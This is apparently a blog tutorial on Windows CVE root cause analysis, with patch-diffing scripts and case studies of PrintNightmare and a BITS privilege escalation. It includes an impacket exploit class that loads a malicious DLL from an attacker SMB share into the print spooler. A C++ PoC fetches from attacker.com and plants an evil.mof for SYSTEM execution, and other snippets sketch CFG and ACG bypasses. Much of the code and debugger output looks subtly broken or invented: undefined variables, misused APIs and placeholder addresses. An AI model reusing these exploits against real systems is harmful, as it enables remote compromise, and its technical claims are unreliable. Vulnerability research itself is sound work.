Windows CVE Root Cause Analysis: From Crash Dump to Exploit Primitive

Mamoun Tarsha-Kurdi
9 min read

Introduction

Analyzing Windows CVEs requires deep understanding of Windows internals, reverse engineering skills, and exploit development techniques. This guide demonstrates systematic root cause analysis from initial crash dump to working proof-of-concept exploit.

CVE Analysis Methodology

Phase 1: Information Gathering

# CVE information scraper
import requests
from bs4 import BeautifulSoup

def gather_cve_info(cve_id):
    """
    Collect CVE details from multiple sources
    """
    info = {
        'cve_id': cve_id,
        'nvd': None,
        'msrc': None,
        'patches': [],
        'affected_versions': []
    }

    # NVD API
    nvd_url = f"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id}"
    response = requests.get(nvd_url)
    if response.status_code == 200:
        data = response.json()
        info['nvd'] = {
            'description': data['vulnerabilities'][0]['cve']['descriptions'][0]['value'],
            'cvss': data['vulnerabilities'][0]['cve']['metrics']['cvssMetricV31'][0]['cvssData']['baseScore'],
            'vector': data['vulnerabilities'][0]['cve']['metrics']['cvssMetricV31'][0]['cvssData']['vectorString']
        }

    # Microsoft Security Response Center
    msrc_url = f"https://api.msrc.microsoft.com/cvrf/v2.0/cvrf/{cve_id}"
    # ... parse MSRC data

    return info

# Example: CVE-2021-1675 (PrintNightmare)
cve_info = gather_cve_info("CVE-2021-1675")
print(f"CVE: {cve_info['cve_id']}")
print(f"CVSS: {cve_info['nvd']['cvss']}")
print(f"Description: {cve_info['nvd']['description']}")

Phase 2: Patch Diffing

BinDiff Analysis:

# IDA Python script for patch diff analysis
import idaapi
import idc
import idautils

def find_patched_functions(old_binary, new_binary):
    """
    Identify functions modified in security patch
    """
    # Export old binary functions
    old_funcs = {}
    for ea in idautils.Functions():
        func_name = idc.get_func_name(ea)
        func_bytes = idc.get_bytes(ea, idc.get_func_attr(ea, idc.FUNCATTR_END) - ea)
        old_funcs[func_name] = hashlib.sha256(func_bytes).hexdigest()

    # Compare with new binary
    # (Load new binary in separate IDA instance)

    modified_funcs = []
    for func_name, old_hash in old_funcs.items():
        new_hash = get_function_hash_from_new_binary(func_name)
        if old_hash != new_hash:
            modified_funcs.append(func_name)

    return modified_funcs

# Analyze localspl.dll patch for CVE-2021-1675
modified = find_patched_functions("localspl_old.dll", "localspl_patched.dll")
print("Modified functions:", modified)
# Output: ['RpcAsyncAddPrinterDriver', 'YAddPrinterDriverEx']

Ghidra Binary Diff:

// Ghidra script for automated patch analysis
import ghidra.app.script.GhidraScript;
import ghidra.program.model.listing.*;

public class PatchDiff extends GhidraScript {
    public void run() throws Exception {
        Program oldProgram = askProgram("Select OLD binary");
        Program newProgram = askProgram("Select PATCHED binary");

        FunctionIterator oldFuncs = oldProgram.getFunctionManager().getFunctions(true);
        while (oldFuncs.hasNext()) {
            Function oldFunc = oldFuncs.next();
            Function newFunc = newProgram.getFunctionManager().getFunctionAt(
                oldFunc.getEntryPoint());

            if (newFunc == null) continue;

            // Compare decompiled code
            String oldCode = decompile(oldFunc);
            String newCode = decompile(newFunc);

            if (!oldCode.equals(newCode)) {
                println("MODIFIED: " + oldFunc.getName());
                println("OLD:\n" + oldCode);
                println("NEW:\n" + newCode);
                println("=" * 80);
            }
        }
    }
}

Case Study: CVE-2021-1675 (PrintNightmare)

Vulnerability Overview

CVE-2021-1675: Windows Print Spooler Remote Code Execution

Root Cause: Insufficient validation in RpcAsyncAddPrinterDriver

Impact: Unauthenticated remote code execution with SYSTEM privileges

Vulnerable Code Analysis

Before Patch (localspl.dll):

// Decompiled from vulnerable localspl.dll
DWORD RpcAsyncAddPrinterDriver(
    LPWSTR pName,
    DRIVER_CONTAINER* pDriverContainer,
    DWORD dwFileCopyFlags)
{
    DRIVER_INFO_2W* pDriverInfo = pDriverContainer->Level2.pDriverInfo2;

    // VULNERABILITY: No validation of dwFileCopyFlags
    // Allows arbitrary file write via APD_COPY_FROM_DIRECTORY flag

    if (dwFileCopyFlags & APD_COPY_FROM_DIRECTORY) {
        // Copy driver files from specified directory
        CopyDriverFile(pDriverInfo->pDriverPath, pDriverInfo->pConfigFile);
    }

    // Install driver
    InstallPrinterDriver(pDriverInfo);

    return ERROR_SUCCESS;
}

After Patch (localspl.dll):

DWORD RpcAsyncAddPrinterDriver(
    LPWSTR pName,
    DRIVER_CONTAINER* pDriverContainer,
    DWORD dwFileCopyFlags)
{
    DRIVER_INFO_2W* pDriverInfo = pDriverContainer->Level2.pDriverInfo2;

    // PATCH: Validate caller permissions
    if (dwFileCopyFlags & APD_COPY_FROM_DIRECTORY) {
        // Check if caller is admin/system
        if (!IsCallerAuthorized()) {
            return ERROR_ACCESS_DENIED;
        }
    }

    // Validate file paths
    if (!ValidateDriverPath(pDriverInfo->pDriverPath)) {
        return ERROR_INVALID_PARAMETER;
    }

    // ... rest of function
}

Patch Delta:

  • Added authorization check for APD_COPY_FROM_DIRECTORY flag
  • Added path validation to prevent directory traversal

WinDbg Root Cause Analysis

# Attach to spoolsv.exe
windbg -p <spoolsv_pid>

# Set breakpoint on vulnerable function
bp localspl!RpcAsyncAddPrinterDriver

# Send malicious RPC call (trigger PoC)
# ... PoC trigger ...

# Breakpoint hit
Breakpoint 0 hit
localspl!RpcAsyncAddPrinterDriver:
00007ff9`12345678 mov rsp,rbp

# Examine parameters
kd> dq rcx  # pName
0000001a`12345000 00000000`00000000

kd> dq rdx  # pDriverContainer
0000001a`12346000 00000000`00000002  # Level = 2
0000001a`12346008 0000001a`12347000  # pDriverInfo2

kd> dq 0000001a`12347000  # DRIVER_INFO_2W
0000001a`12347000 00000000`00000003  # cVersion
0000001a`12347008 0000001a`12348000  # pName
0000001a`12347010 0000001a`12349000  # pEnvironment
0000001a`12347018 0000001a`1234a000  # pDriverPath → CONTROLLED
0000001a`12347020 0000001a`1234b000  # pConfigFile → CONTROLLED

kd> du 0000001a`1234a000
"C:\Windows\System32\..\..\..\..\malicious.dll"

# VULNERABILITY: Path traversal in pDriverPath
# No validation of "../" sequences
# Allows DLL loading from arbitrary location

# Continue execution
kd> g

# DLL loaded at attacker-controlled path
ModLoad: 00007ff9`98760000 00007ff9`98770000 C:\malicious.dll

# Code execution achieved

Exploit Primitive Identification

Primitive: Arbitrary DLL load in SYSTEM process

# Exploit primitive abstraction
class PrintNightmareExploit:
    def __init__(self, target_ip):
        self.target = target_ip
        self.smb_share = None

    def setup_smb_share(self):
        """
        Host malicious DLL on SMB share
        """
        from impacket import smbserver
        self.smb_share = smbserver.SimpleSMBServer()
        self.smb_share.addShare("share", "/tmp/exploit")
        # Place malicious.dll in /tmp/exploit/
        self.smb_share.start()

    def trigger_load(self):
        """
        Trigger DLL load via RpcAsyncAddPrinterDriver
        """
        from impacket.dcerpc.v5 import transport, rprn

        # Connect to print spooler RPC
        stringbinding = f"ncacn_np:{self.target}[\\pipe\\spoolss]"
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(rprn.MSRPC_UUID_RPRN)

        # Craft driver info
        driver_container = rprn.DRIVER_CONTAINER()
        driver_container['Level'] = 2
        driver_container['DriverInfo']['tag'] = 2

        driver_info = rprn.DRIVER_INFO_2()
        driver_info['cVersion'] = 3
        driver_info['pName'] = "Evil Driver\x00"
        driver_info['pEnvironment'] = "Windows x64\x00"

        # Path traversal to SMB share
        driver_info['pDriverPath'] = f"\\\\{attacker_ip}\\share\\malicious.dll\x00"
        driver_info['pConfigFile'] = f"\\\\{attacker_ip}\\share\\malicious.dll\x00"
        driver_info['pDataFile'] = f"\\\\{attacker_ip}\\share\\malicious.dll\x00"

        driver_container['DriverInfo']['Level2'] = driver_info

        # Trigger with APD_COPY_FROM_DIRECTORY flag
        rprn.hRpcAsyncAddPrinterDriver(
            dce,
            pName=f"\\\\{self.target}\x00",
            pDriverContainer=driver_container,
            dwFileCopyFlags=0x10 | 0x8000  # APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY
        )

    def exploit(self):
        self.setup_smb_share()
        self.trigger_load()
        print("[+] Exploit triggered. DLL should be loaded in spoolsv.exe")

Case Study: CVE-2020-0787 (Windows BITS Elevation of Privilege)

Vulnerability Analysis

CVE-2020-0787: Windows Background Intelligent Transfer Service (BITS) Privilege Escalation

Root Cause: Arbitrary file move vulnerability

Patch Diff Results

// BEFORE PATCH: qmgr.dll
HRESULT CBitsJob::SetNotifyInterface(IUnknown* pUnk) {
    // No validation of file paths in job parameters
    if (m_NotifyCmdLine) {
        // Create hardlink to arbitrary file
        CreateHardLink(m_TempFile, m_NotifyCmdLine, NULL);
    }
    return S_OK;
}

// AFTER PATCH: qmgr.dll
HRESULT CBitsJob::SetNotifyInterface(IUnknown* pUnk) {
    // Validate file paths
    if (m_NotifyCmdLine) {
        if (!IsPathAllowed(m_NotifyCmdLine)) {
            return E_ACCESSDENIED;
        }
        CreateHardLink(m_TempFile, m_NotifyCmdLine, NULL);
    }
    return S_OK;
}

Exploit Development

// CVE-2020-0787 PoC
#include <windows.h>
#include <bits.h>
#include <iostream>

int main() {
    IBackgroundCopyManager* pManager = NULL;
    IBackgroundCopyJob* pJob = NULL;
    GUID jobId;

    // Initialize COM
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

    // Create BITS manager
    CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
                     CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyManager),
                     (void**)&pManager);

    // Create job
    pManager->CreateJob(L"EvilJob", BG_JOB_TYPE_DOWNLOAD, &jobId, &pJob);

    // Add file (creates hardlink primitive)
    pJob->AddFile(L"http://attacker.com/dummy",
                  L"C:\\Windows\\System32\\license.rtf");  // SYSTEM-writable file

    // Create junction to redirect hardlink target
    CreateJunction(L"C:\\Users\\Public\\junction",
                   L"C:\\Windows\\System32\\wbem");

    // Trigger hardlink creation (will overwrite arbitrary file)
    pJob->SetNotifyCmdLine(L"C:\\Users\\Public\\junction\\evil.mof", NULL);

    // Complete job → hardlink created → MOF file planted → WMI execution → SYSTEM
    pJob->Resume();
    pJob->Complete();

    // Wait for WMI to execute evil.mof
    Sleep(5000);

    std::cout << "[+] Exploit complete. Check for SYSTEM shell." << std::endl;

    return 0;
}

Advanced Analysis Techniques

Time-Travel Debugging (TTD)

# Record vulnerable process
ttd.exe -out C:\traces spoolsv.exe

# Trigger vulnerability
# ... run PoC exploit ...

# Analyze trace in WinDbg
windbg -z C:\traces\spoolsv01.run

# Set breakpoint on memory corruption
kd> ba r4 <address>

# Replay backwards to find root cause
kd> g-
kd> k  # Stack trace before corruption

# Identify exact instruction causing corruption
kd> !tt 100:0  # Jump to trace position
kd> u rip

Heap Corruption Analysis

# Enable Page Heap
gflags /i spoolsv.exe +hpa

# Restart service
net stop spooler
net start spooler

# Attach WinDbg
windbg -pn spoolsv.exe

# Page heap catches corruption immediately
(1a34.1b78): Access violation - code c0000005 (first chance)
HEAP[spoolsv.exe]: Invalid address specified to RtlFreeHeap

kd> !heap -p -a @rcx
    address 0000001a12345000 found in
    _DPH_HEAP_ROOT @ 1a12340000
    in busy allocation (DPH_HEAP_BLOCK_BUSY)
        UserAddr: 0000001a12345008
        UserSize: 100
        Allocation stack trace:
            ntdll!RtlAllocateHeap+0x1234
            localspl!CopyDriverFile+0x5678
            localspl!RpcAsyncAddPrinterDriver+0x9abc

# Backtrace reveals allocation site
kd> !heap -p -l
# Shows lifetime of corrupted heap block

Symbolic Execution with Triton

# Symbolic execution to find exploitation path
from triton import *

ctx = TritonContext()
ctx.setArchitecture(ARCH.X86_64)

# Load vulnerable binary
binary = lief.parse("localspl.dll")
for segment in binary.segments:
    ctx.setConcreteMemoryAreaValue(segment.virtual_address, segment.content)

# Symbolize input buffer
input_addr = 0x1234000
input_size = 0x1000
ctx.symbolizeMemory(MemoryAccess(input_addr, input_size))

# Emulate vulnerable function
pc = 0x180001000  # RpcAsyncAddPrinterDriver
while pc != 0x180001500:  # Until return
    opcode = ctx.getConcreteMemoryAreaValue(pc, 16)
    inst = Instruction(pc, opcode)
    ctx.processing(inst)
    pc = ctx.getConcreteRegisterValue(ctx.registers.rip)

# Extract path constraints
constraints = ctx.getPathConstraints()

# Solve for crash conditions
for constraint in constraints:
    model = ctx.getModel(constraint.getTakenPredicate())
    if is_crash_condition(model):
        print("CRASH INPUT FOUND:")
        for sym_id, value in model.items():
            print(f"  {sym_id}: {hex(value.getValue())}")

Exploit Mitigation Analysis

CFG (Control Flow Guard) Bypass

// Check if CFG is enabled
PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfg_policy;
GetProcessMitigationPolicy(GetCurrentProcess(),
                          ProcessControlFlowGuardPolicy,
                          &cfg_policy, sizeof(cfg_policy));

if (cfg_policy.EnableControlFlowGuard) {
    // CFG active - indirect calls are validated
    // Bypass: Use valid CFG targets (e.g., kernel32!LoadLibraryA)
}

// Exploit gadget
void* LoadLib = GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");

// CFG-valid indirect call
typedef HMODULE (*LoadLibraryA_t)(LPCSTR);
LoadLibraryA_t load = (LoadLibraryA_t)LoadLib;
load("evil.dll");  // CFG allows this - valid target

ACG (Arbitrary Code Guard) Bypass

// ACG prevents new executable pages
// Bypass: ROP to VirtualProtect or use existing RWX pages

// Find RWX memory regions
MEMORY_BASIC_INFORMATION mbi;
LPVOID address = NULL;
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
    if (mbi.Protect == PAGE_EXECUTE_READWRITE) {
        printf("RWX region: %p (size: %llx)\n", mbi.BaseAddress, mbi.RegionSize);
        // Write shellcode here - no VirtualProtect needed
    }
    address = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}

Responsible Disclosure

Coordinated Vulnerability Disclosure

# Bug bounty submission template
class CVEReport:
    def __init__(self):
        self.title = ""
        self.severity = ""  # Critical/High/Medium/Low
        self.cvss_score = 0.0
        self.affected_products = []
        self.root_cause = ""
        self.poc = None
        self.mitigation = ""

    def generate_report(self):
        report = f"""
# Vulnerability Report

## Summary
{self.title}

## Severity
{self.severity} (CVSS: {self.cvss_score})

## Affected Products
{', '.join(self.affected_products)}

## Root Cause Analysis
{self.root_cause}

## Proof of Concept
{self.poc}

## Suggested Mitigation
{self.mitigation}

## Timeline
- Discovery: {self.discovery_date}
- Vendor Notification: {self.notification_date}
- Vendor Acknowledgment: {self.ack_date}
- Patch Release: {self.patch_date}
- Public Disclosure: {self.disclosure_date}
"""
        return report

# Submit to Microsoft Security Response Center (MSRC)
report = CVEReport()
report.title = "Windows Print Spooler RCE"
report.severity = "Critical"
report.cvss_score = 9.8
# ... fill in details ...

submit_to_msrc(report.generate_report())

Conclusion

Windows CVE root cause analysis requires combining multiple disciplines: reverse engineering, exploit development, and system internals knowledge. Successful vulnerability researchers systematically analyze patches, reconstruct root causes, identify exploit primitives, and develop proof-of-concept exploits while adhering to responsible disclosure practices.

Understanding CVE analysis methodologies is essential for both offensive security research and defensive patch validation.

References

  1. Microsoft (2021). “MSRC Security Update Guide”
  2. Google Project Zero (2021). “PrintNightmare Analysis”
  3. NIST (2023). “National Vulnerability Database”
  4. Microsoft (2020). “Windows Exploit Protection”